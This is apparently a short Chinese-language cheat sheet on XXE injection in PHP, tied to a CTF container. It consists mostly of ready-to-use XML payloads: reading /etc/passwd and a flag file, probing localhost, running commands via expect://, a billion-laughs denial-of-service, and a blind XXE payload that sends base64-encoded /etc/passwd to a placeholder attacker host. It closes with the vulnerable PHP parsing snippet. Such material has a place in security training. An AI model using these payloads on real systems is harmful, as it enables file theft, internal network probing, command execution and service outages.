PHP环境 XML外部实体注入漏洞(XXE)

XXE

XXE漏洞的文章网上就很多了

文件读取

<!DOCTYPE root[ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]><root><name>&xxe;</name></root>
<!DOCTYPE root[ <!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]><root><name>&xxe;</name></root>
<!DOCTYPE root[ <!ENTITY xxe SYSTEM "c:/windows/date.ini">]><root><name>&xxe;</name></root>

内网探测

<!DOCTYPE root[ <!ENTITY xxe SYSTEM "http://localhost/">]><root><name>&xxe;</name></root>

命令执行

<!DOCTYPE root[<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://ls" >]><root><name>&xxe;</name></root>

Dos攻击

<?xml version="1.0"?><!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>

Blind XXE

  • payload
<!DOCTYPE root[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % dtd SYSTEM "http://www.xxx.com/evil"> %dtd; %all; %send;]>
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xx.xx.xx.xx/?f=%file;'>">

复现

容器启动后先看一下其中的代码

<?php$data = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($data);

从php://input读取数据,直接post就行

参考:
浅谈XXE漏洞攻击与防御

相关文章